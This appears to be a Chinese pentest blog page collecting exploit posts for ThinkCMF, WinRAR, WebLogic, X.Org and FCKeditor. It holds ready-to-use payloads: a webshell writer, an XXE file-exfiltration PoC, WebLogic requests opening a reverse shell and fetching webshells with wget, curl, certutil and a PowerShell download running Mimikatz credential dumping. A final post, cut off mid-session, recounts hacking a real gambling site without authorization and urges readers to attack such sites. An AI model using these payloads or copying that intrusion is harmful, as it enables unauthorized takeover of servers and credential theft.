ThinkCMF2.2.2前台直接getshell+任意文件包含漏洞 渗透测试

0x00 简介

    ThinkCMF是一款基于ThinkPHP+MySQL开发的开源中文内容管理框架。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本。

0x01 漏洞概述

    远程攻击者在无需任何权限情况下,可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到远程代码执行的目的。

0x02 影响版本 

ThinkCMF X1.6.0

ThinkCMF X2.1.0

ThinkCMF X2.2.0

ThinkCMF X2.2.1

ThinkCMF X2.2.2

ThinkCMF X2.2.3

0x03 漏洞利用&测试环境



测试环境:

测试版本:thinkcmf 2.2.2

phpstudy pro

windows 10



一共有两种方式:

第一种是通过构造a参数的fetch方法,可以不需要知道文件路径就可以把php代码写入文件,phpinfo版payload如下:

/index.php?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>

第一种漏洞复现截图如下:

thinkcmf之getshell.png

第二种是通过构造a参数的display方法,实现任意内容包含漏洞,payload如下: 

/index.php?a=display&templateFile=README.md

第二种漏洞复现截图如下:

thinkcmf任意文件包含二.png



0x04 漏洞分析

    根据index.php的第25行可知道项目相对路径为application目录:

//开启调试模式
define("APP_DEBUG", true);
//网站当前路径
define('SITE_PATH', dirname(__FILE__)."/");
//项目路径,不可更改
define('APP_PATH', SITE_PATH . 'application/');
//项目相对路径,不可更改
define('SPAPP_PATH',   SITE_PATH.'simplewind/');



    然后找到 application\Portal\Controller 路径下的 IndexController.class.php 控制器类:

可以看到只有一个公共的display方法:

namespace Portal\Controller;
use Common\Controller\HomebaseController; 
/**
 * 首页
 */
class IndexController extends HomebaseController {

    //首页 小夏是老猫除外最帅的男人了
    public function index() {
        $this->display(":index");
    }

}



    其父类是  Common\Controller\HomebaseController ,根据ThinkPHP框架规则,可以通过 g\m\a 参数指定分组(group)\模块(model)\动作或方法(action),我们打开 application\Common\Controller 路径下的 HomebaseController.class.php 可以看到通过a参数直接调的这几个权限为 public 的方法:

thinkcmf几个权限为public的函数.png

    这边有问题的是display函数和fetch函数:

    display函数的作用是加载模板和页面输出,所对应的参数为:

$templateFile 指定要调用的模板文件,$charset 模板输出字符集,$contentType 输出类型,$content 模板输出内容。

templateFile参数会经过parseTemplate函数处理,判断模板是否存在,当模板不存在时会在当前目录下开始查找:

public function parseTemplate($template='') {...}



    然后调用THinkphp Controller 函数的display方法,其中fetch函数的作用是获取页面内容,调用内置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中当key和value可控时便可以形成模板注入。

 /**
     * 获取输出页面内容
     * 调用内置的模板引擎fetch方法,
     * @access protected
     * @param string $templateFile 指定要调用的模板文件
     * 默认为空 由系统自动定位模板文件
     * @param string $content 模板输出内容
     * @param string $prefix 模板缓存前缀* * @return string
     */
    public function fetch($templateFile='',$content='',$prefix=''){
        $templateFile = empty($content)?$this->parseTemplate($templateFile):'';
        return parent::fetch($templateFile,$content,$prefix);
    }



    这里fetch函数的三个参数分别对应模板文件,输出内容,模板缓存前缀。利用时templateFile和prefix参数可以为空,在content参数传入待注入的php代码即可getshell。最终形成的payload:

/index.php?a=fetch&content=<?php+file_put_contents("mrxn.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbIjAwMCJdKTs/Pg=="));

thinkcmf之getshell2.png

0x05 修复方式

    将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改为 protected。

修改修饰为protected即可防御.png

还有另一种getshell的方法:

thinkcmf前台getshell.png

参考:


https://www.freebuf.com/vuls/217586.html

https://xz.aliyun.com/t/3529


admin 发布于  2019-10-25 05:29 

WinRAR 5.80 XML 注入漏洞和拒绝服务攻击漏洞 渗透测试

0x00背景介绍 

WinRAR,是Windows标配的压缩软件,大家都不陌生。

0x01漏洞描述 

但是最近这两天winrar 5.80爆出了两个漏洞,一个是XML注入漏洞,一个是拒绝服务攻击漏洞。

0x02漏洞复现POC 

第一个XML注入漏洞:

此poc展示非授权情况下用户敏感文件上传

这里的文件是:C:\Windows\system.ini

文件上传.png

1-开一个简单的http服务器

在PYthon环境下运行 :

python -m SimpleHTTPServer 8800

并在当前目录放一个start.dtd文件,内容参考下文。

2-打开WinRAR

打开Winrar或者用Winrar打开任意一个rar文件

3-点击菜单栏的帮助

4-点击 帮助主题

5-拖一个精心制作的html文件到上面的帮助窗口

拖拽特殊HTML文件到winrar帮助文档窗口.png

XML注入漏洞利用的html文件:

<html><body><xml>
<?xml version="1.0"?>
<!DOCTYPE flavios [ 
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8800/start.dtd">
%dtd;]>
<pwn>&send;</pwn>
</xml></body></html>

放置简单web服务器上的start.dtd文件:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8800?%file;'>">
%all;

第二个拒绝服务攻击漏洞的HTML利用文件代码如下:

<script type="text/javascript">
//<![CDATA[
<!--
var x="function f(x){var i,o=\"\",l=x.length;for(i=l-1;i>=0;i--) {try{o+=x.c" +
"harAt(i);}catch(e){}}return o;}f(\")\\\"function f(x,y){var i,o=\\\"\\\\\\\""+
"\\\\,l=x.length;for(i=0;i<l;i++){if(i==28)y+=i;y%=127;o+=String.fromCharCod" +
"e(x.charCodeAt(i)^(y++));}return o;}f(\\\"\\\\xr}jMDLW\\\\\\\\nRTN\\\\\\\\\\"+
"\\\\\\LFE\\\\\\\\004\\\\\\\\017\\\\\\\\022GD\\\\\\\\\\\\\\\\^\\\\\\\\rhGjYh" +
"83#9y2/(-s:\\\\\\\\021\\\\\\\\024\\\\\\\\013\\\\\\\\025Y9D\\\\\\\\037E\\\\\\"+
"\\034\\\\\\\\013F\\\\\\\\017\\\\\\\\002\\\\\\\\003\\\\\\\\037\\\\\\\\021\\\\"+
"\\\\005\\\\\\\\033\\\\\\\\021\\\\\\\\030\\\\\\\\020*UX\\\\\\\\032\\\\\\\\02" +
"5\\\\\\\\025\\\\\\\\010\\\\\\\\030\\\\\\\\020t<^!M@;?T+4W~Q`3}tfr4}bch4\\\\" +
"\\\\177jith\\\\\\\\\\\"\\\\|\\\\\\\\003g[TLTB[u\\\\\\\\010\\\\\\\\013OB@[U_" +
"F\\\\\\\\016h\\\\\\\\027\\\\\\\\033\\\\\\\\006d\\\\\\\\033\\\\\\\\004gNaP\\" +
"\\\\\\003\\\\\\\\\\\"\\\\.&:z\\\\\\\\0314\\\\\\\\033&u9(>$>;p=3=3 70=d\\\\\\"+
"\\006y\\\\\\\\n\\\\\\\\037\\\\\\\\r<\\\\\\\\022\\\\\\\\010\\\\\\\\022\\\\\\" +
"\\027J \\\\\\\\010\\\\\\\\004\\\\\\\\007\\\\\\\\r\\\\\\\\0177NS2\\\\\\\\035" +
",\\\\\\\\037.\\\\\\\\001(\\\\\\\\033VWX=\\\\\\\\023\\\\\\\\026\\\\\\\\\\\\\\"+
"\\\\\\\\\\016\\\\\\\\026l!\\\\\\\\\\\"\\\\_vYh'()Ynx-}g|1/3Wgsvl|Uyvx}k\\\\" +
"\\\\010}\\\\\\\\000tWFTNX]\\\\\\\\004xDHBCl\\\\\\\\023\\\\\\\\033\\\\\\\\02" +
"3\\\\\\\\024iDkV\\\\\\\\031\\\\\\\\032\\\\\\\\033\\\\\\\\177\\\\\\\\\\\\\\\\"+
"RS`2*/j\\\\\\\\0273)`\\\\\\\\025h\\\\\\\\027n\\\\\\\\021l,=5|6,0\\\\\\\\nu\\"+
"\\\\\\004{\\\\\\\\006yu}~\\\\\\\\003\\\\\\\\022=\\\\\\\\014CDE5\\\\\\\\002\\"+
"\\\\\\034I\\\\\\\\031\\\\\\\\003\\\\\\\\000MSO>\\\\\\\\036\\\\\\\\006\\\\\\" +
"\\033\\\\\\\\035\\\\\\\\033\\\\\\\\021WXYZ'\\\\\\\\016!\\\\\\\\020 !\\\\\\\\"+
"\\\"\\\\_vYh;'ziye}z1LcN}(:tx|`$GnAp#\\\\\\\\017IVNH\\\\\\\\033\\\\\\\\004\\"+
"\\\\\\016\\\\\\\\023\\\\\\\\031\\\\\\\\021\\\"\\\\,28)\\\"(f};)lo,0(rtsbus." +
"o nruter};)i(tArahc.x=+o{)--i;0=>i;1-l=i(rof}}{)e(hctac};l=+l;x=+x{yrt{)401" +
"=!)31/l(tAedoCrahc.x(elihw;lo=l,htgnel.x=lo,\\\"\\\"=o,i rav{)x(f noitcnuf\""+
")"                                                                           ;
while(x=eval(x));
//-->
//]]>
</script>
<script type="text/javascript">
//<![CDATA[
<!--
var x="function f(x){var i,o=\"\",ol=x.length,l=ol;while(x.charCodeAt(l/13)!" +
"=48){try{x+=x;l+=l;}catch(e){}}for(i=l-1;i>=0;i--){o+=x.charAt(i);}return o" +
".substr(0,ol);}f(\")19,\\\"ZPdw771\\\\b77-0xjk-7=3771\\\\sp,cw$520\\\\:330\\"+
"\\xg030\\\\jj9%530\\\\b000\\\\XZUUVX620\\\\LP\\\\\\\\Pr\\\\610\\\\KOHD400\\" +
"\\620\\\\720\\\\\\\\\\\\WOWGPr\\\\530\\\\NClAauFkD,$gqutdr/3-ig~`|)rkanwbo2" +
"30\\\\t\\\\ 520\\\\&310\\\\$n\\\\200\\\\)230\\\\/000\\\\-K530\\\\310\\\\310" +
"\\\\n\\\\630\\\\010\\\\IULFW620\\\\600\\\\400\\\\700\\\\520\\\\=*100\\\\(70" +
"0\\\\4500\\\\*310\\\\-u}xy8pt~}|{771\\\\itg/e771\\\\sb|`V620\\\\530\\\\NT\\" +
"\\\\\\MdYjGh010\\\\@TVI[O410\\\\620\\\\n\\\\330\\\\ZB@CQA200\\\\SAijArGhEec" +
"J{HaN*2S?9t)V)5,&waedtbn\\\\!010\\\\'420\\\\%n\\\\+r\\\\U]XY030\\\\PT^]\\\\" +
"\\\\[ZY]GZEr\\\\CYQ@b~4|);/pw$:2'610\\\\?410\\\\=220\\\\vn720\\\\h520\\\\hz" +
"f7!%$4\\\"\\\\730\\\\L\\\\\\\\JOfWdEjN420\\\\230\\\\230\\\\IU710\\\\@BE_IG]" +
"AHyV771\\\\430\\\\300\\\\|kntnxixnv|:`kwe2S3h|r~)|wowgp>o\\\\\\\\410\\\\!B7" +
"30\\\\330\\\\430\\\\020\\\\K030\\\\)600\\\\/L530\\\\530\\\\330\\\\600\\\\QN" +
"C400\\\\500\\\\r\\\\320\\\\710\\\\720\\\\320\\\\M620\\\\710\\\\500\\\\2+>3?" +
"\\\"(f};o nruter};))++y(^)i(tAedoCrahc.x(edoCrahCmorf.gnirtS=+o;721=%y{)++i" +
";l<i;0=i(rof;htgnel.x=l,\\\"\\\"=o,i rav{)y,x(f noitcnuf\")"                 ;
while(x=eval(x));
//-->
//]]>
</script>

参考:

https://packetstormsecurity.com/files/154918/winrar580-xxe.txt

https://www.exploit-db.com/exploits/47525



admin 发布于  2019-10-23 21:09 

CNVD-C-2019-48814 Weblogic wls9_async_response 反序列 渗透测试

0x1.背景

首先,CNVD收录了由中国民生银行股份有限公司报送的Oracle WebLogic wls9-async反序列化远程命令执行漏洞(CNVD-C-2019-48814)。

0x2.漏洞描述

攻击者利用该漏洞,可在未授权的情况下远程执行命令。从相关信息来看。 部分版本WebLogic中默认包含的wls9_async_response包,为WebLogic Server提供异步通讯服务。由于该WAR包在反序列化处理输入信息时存在缺陷,攻击者可以发送精心构造的恶意 HTTP 请求,获得目标服务器的权限,在未授权的情况下远程执行命令。 也就是说漏洞出现在 wls9_async_response.war 这个包里面,来详细看一看

0x3.影响范围 

主要影响以下版本:

WebLogic Server 10.3.6.0

WebLogic Server 12.1.3.0

WebLogic Server 12.2.1.3

0x4.复现漏洞环境 

而今天复现的就是第一个版本,即WebLogic Server 10.3.6.0(wls1036_generic.jar)。

Kali2019\Win10(关闭安全中心实时防护下)

漏洞组件:bea_wls9_async_response.war

漏洞路径:http://ip:port/_async/AsyncResponseService

漏洞确认:访问漏洞路径存在以下页面,即有可能存在漏洞

WebLogic高危漏洞复现.png

漏洞利用(所有利用都需要被攻击机能够访问公网):

所有的POST报文都可以使用burpsuite完成,burpsuite破解、汉化、插件等相关教程:传送门


一、Linux下

1、反弹shell

POST如下报文即可:

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 853
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
<soapenv:Header> 
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/vpsip/vpsport 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>



Linux下反弹shell.jpg



2、上传webshell


  1. 放置一个webshell.txt到公网
  2. POST以下报文 任选其一

报文一:

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 789
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
<soapenv:Header> 
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://vpsip:vpsport/webshell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>  

报文二:

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 789
Accept-Encoding: gzip, deflate
SOAPAction: 
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   <soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>curl http://vpsip:vpsport/webshell.txt -o servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string></void></array><void method="start"/></void></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

3、访问webshell



http://ip:port/_async/webshell.jsp



Linux下访问shell.png



二、Windows下 

1、反弹shell

可直接使用黑客工具-后渗透工具-CobaltStrike生成一个payload.ps1 powershell脚本,将该脚本放到公网上,然后使用如下报文即可

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 861
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
<soapenv:Header> 
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>powershell "IEX (New-Object Net.WebClient).DownloadString('http://ip:port/payload.ps1'); Invoke-Mimikatz -DumpCreds"</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

win下反弹shell.jpg



2、上传webshell

  1. 放置一个webshell.txt到公网
  2. 使用以下报文 任选其一均可



报文一:


POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 854
Accept-Encoding: gzip, deflate
SOAPAction: 
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   <soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>cmd</string></void><void index="1"><string>/c</string></void><void index="2"><string>powershell (new-object System.Net.WebClient).DownloadFile( 'http://ip:port/webshell.txt','servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp')</string></void></array><void method="start"/></void></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

报文二:


POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 854
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
<soapenv:Header> 
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>certutil -urlcache -split -f http://ip:port/webshell.txt servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
3.访问webshell
http://ip:port/_async/webshell.jsp

win下访问shell.jpg

(注:上述报文中servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/为默认路径,如果路径修改,可以配合反弹shell进行获取)

0x5.缓解措施

高危:预计网上很快会有该远程代码执行漏洞的POC,建议尽快升级软件和使用连接筛选器临时拒绝T3/T3s协议。

建议尽快安装安全更新补丁(可以使用BSU智能更新)或使用连接筛选器临时阻止外部访问7001端口的T3/T3s协议:

连接筛选器:weblogic.security.net.ConnectionFilterImpl

规则示例: 0.0.0.0/0 7001 deny t3 t3s#拒绝所有访问

允许和拒绝指定IP规则示例:

192.168.1.0/24
7001 allow t3 t3s#允许指定IP段访问

192.168.2.0/24 * 7001 deny t3 t3s#拒绝指定IP段访问

连接筛选器说明参考:

https://docs.oracle.com/cd/E24329_01/web.1211/e24485/con_filtr.htm#SCPRG377

威胁推演:此漏洞为远程代码执行漏洞,基于全球使用该产品用户的数量和暴露在网上的端口情况,恶意攻击者可能会开发针对该漏洞的自动化攻击程序、黑客工具,实现漏洞利用成功后自动植入后门程序,并进一步释放矿工程序或是DDOS僵尸木马等恶意程序,从而影响到网站服务的正常提供。

安全运营建议:Oracle WebLogic历史上已经报过多个安全漏洞(其中也有反序列化漏洞),建议使用该产品的企业经常关注官方安全更新公告。



来源:https://bithack.io/forum/152&nbsp;

修正:此前没看急于发文,导致写错标题,对不起大家。感谢评论有个兄弟说出来,谢谢!


admin 发布于  2019-10-17 20:14 

CVE-2019-17624-X.Org X Server 1.20.4 - Local Stack Overflow-Linux图形界面X Server本地栈溢出POC 渗透测试

CVE-2019-17624-X.Org X Server 1.20.4 - Local Stack Overflow-Linux图形界面X Server本地栈溢出POC

0x1 简单介绍

X Server 是绝大对数Linux发行版和Unix系统的基础图形界面程序,是系统标配。而此程序也是以Root权限启动的,因而成功溢出它而获得的shell,也是root权限。

0x2 漏洞相关信息

# 时间: 2019-10-16

# 作者: Marcelo Vázquez (s4vitar)

# 厂商: https://www.x.org/

# 版本: <= 1.20.4

# 测试平台: Linux

# CVE: CVE-2019-17624



0x3 POC

#!/usr/bin/python
#coding: utf-8

# ************************************************************************
# *                Author: Marcelo Vázquez (aka s4vitar)                 *
# *      X.Org X Server 1.20.4 / X Protocol Version 11 (Stack Overflow)  *
# ************************************************************************

import sys, time
import ctypes as ct

from ctypes import cast
from ctypes.util import find_library

def access_violation(x11, current_display):
  keyboard = (ct.c_char * 1000)()
  x11.XQueryKeymap(current_display, keyboard)

if __name__ == '__main__':

  print "\n[*] Loading x11...\n"
  time.sleep(2)

  x11 = ct.cdll.LoadLibrary(find_library("X11"))
  current_display = x11.XOpenDisplay(None)

  print "[*] Exploiting...\n"
  time.sleep(1)

  try:
    access_violation(x11, current_display)

  except:
    print "\nError...\n"
    sys.exit(1)



参考: https://www.exploit-db.com/exploits/47507


admin 发布于  2019-10-16 23:02 

FCKeditor文件上传漏洞及利用 技术文章

一. 关于FCKeditor



FCKeditor是一个网页的文本编辑器,在很多的cms里都有出现。近日工作期间遇到了不下十个有FCKeditor的站,尤其是ZF网站。

本文简单介绍通过FCKeditor上传漏洞进行攻击的思路,并对可能用到的操作进行整理。



二. 攻击思路

1.查看FCKeditor版本



查看版本.png

Fckeditor上传各版本绕过.png

http://127.0.0.1/fckeditor/editor/dialog/fck_about.html
http://127.0.0.1/FCKeditor/_whatsnew.html

2.测试上传点

FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html

FCKeditor/_samples/default.html
FCKeditor/_samples/asp/sample01.asp
FCKeditor/_samples/asp/sample02.asp
FCKeditor/_samples/asp/sample03.asp
FCKeditor/_samples/asp/sample04.asp
FCKeditor/_samples/default.html
FCKeditor/editor/fckeditor.htm
FCKeditor/editor/fckdialog.html

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/php/connector.php
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/jsp/connector.jsp

FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/aspx/connector.Aspx
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/php/connector.php

3.突破限制

3.1 上传限制

上传限制的突破方式很多,主要还是抓包改扩展名,%00截断,添加文件头等



3.2 文件名限制

3.2.1二次上传绕过文件名‘ . ’ 修改为‘ _ ’

FCK在上传了诸如shell.asp;.jpg的文件后,会自动将文件名改为shell_asp;.jpg。可以继续上传同名文件,文件名会变为shell.asp;(1).jpg



截断.png

3.2.2提交shell.php+空格绕过

空格只支持windows系统,linux系统是不支持的,可提交shell.php+空格来绕过文件名限制。



3.3 IIS6.0突破文件夹限制

Fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=/shell.asp&NewFolderName=z.asp
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/shell.asp&NewFolderName=z&uuid=1244789975684
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp

3.4 文件解析限制

通过Fckeditor编辑器在文件上传页面中,创建诸如1.asp文件夹,然后再到该文件夹下上传一个图片的webshell文件,获取其shell。

http://127.0.0.1/images/upload/201806/image/1.asp/1.jpg

4.列目录

4.1 FCKeditor/editor/fckeditor.html

FCKeditor/editor/fckeditor.html不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页,可以查看已经上传的文件。



4.2 根据xml返回信息查看网站目录

http://127.0.0.1/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../../&NewFolderName=shell.asp

4.3 获取当前文件夹

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

4.4 浏览D盘文件

/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=D:/

  1. 连接木马

    在木马能够解析之后,使用各类工具连接到木马,获取webshell。至此,利用FCKeditor进行文件上传并攻击的过程就已经完成。



    三. 其他

    最近的工作中遇到的站里大多数都存在FCKeditor编辑器,基本都存在以上漏洞,可以说是非常严重的问题。

    在获取到webshell之后,可以进行的操作非常多,也便于提权操作,拿下主机权限并不困难。

    关于该漏洞的防御,可以删除掉所有的上传点,并限制目录访问。

    转载自:https://cjjkkk.github.io/fckeditor-upload/

admin 发布于  2019-10-15 21:39 

从朋友圈XX中奖getshell到提权服务器过程简单记录 渗透测试

注意:所有的过程仅供渗透学习研究参考,禁止用于他途。

建议学习渗透的朋友搜索一些非法网站的关键词来进行实战练习!干爆他们!



0x1 背景

在朋友圈发现小姨转发了一篇XXX中奖,打开一开是XX彩票,其实就是菠菜的皮,果断先劝小姨删掉这条朋友圈,就有了下面这篇文章:

0x2 信息搜集

发现目标系统是dedecms,且为windows系统(文件名大小写快速判断),果断使用我项目里收集的改良版爆破dedecms后台的py脚本 多给我点点 Star啊!

几十秒钟后成功爆破得到后台路径:http://xxxx.com/xaxaxa

打开发现没有验证码,果断使用burpsuite抓包爆破,但是没有收获!

暂停去喝杯水,回来用后台路径xaxaxa作为用户名密码登录成功进入后台,文件管理哪里,直接上传文件,直接getshell

由此可知,服务器没有WAF,不然上传shell肯定被拦截!

蚁剑走起,因为发现冰蝎并不是太好用,对环境有一定要求。

0x3 提权:

首先想到的是mysql udf提权

通过查看dedecms的数据库配置文件 /data/common.inc.php得到数据库帐号,而且还是root帐户。

本以为可以顺利提权的,结果GG!记录一下吧:



查看MySQL版本,因为在高版本中有个参数至关重要,就是secure-file-priv,这个参数限制了MySQL的导出;

该参数为NULL时不允许导出、该参数为空时允许在任意文件夹中导出、该参数为某文件夹时允许在该文件夹中导出。

这个参数在各个版本中的表现如下:

MySQL5.5版本:my.ini中无此参数,查询该参数情况为NULL;

MySQL5.6版本:my.ini中无此参数,查询该参数情况为空;

MySQL5.7版本:my.ini中有此参数,查询该参数情况为数据目录下的Upload文件夹。



mysql> select version();

+-----------+

| version() |

+-----------+

| 5.5.46    |

+-----------+

1 row in set (1.28 sec)



事实证明这个用来确认系统版本不准确!因为这个是MySQL的版本,并不是系统版本。

mysql> select @@version_compile_os, @@version_compile_machine;

+----------------------+---------------------------+

| @@version_compile_os | @@version_compile_machine |

+----------------------+---------------------------+

| Win32                | x86                       |

+----------------------+---------------------------+

1 row in set (2.01 sec)



mysql> show variables like '%compile%';

+-------------------------+-------+

| Variable_name           | Value |

+-------------------------+-------+

| version_compile_machine | x86   |

| version_compile_os      | Win32 |

+-------------------------+-------+

2 rows in set (1.86 sec)



mysql> select @@plugin_dir;

+-------------------------------------------------+

| @@plugin_dir                                    |

+-------------------------------------------------+

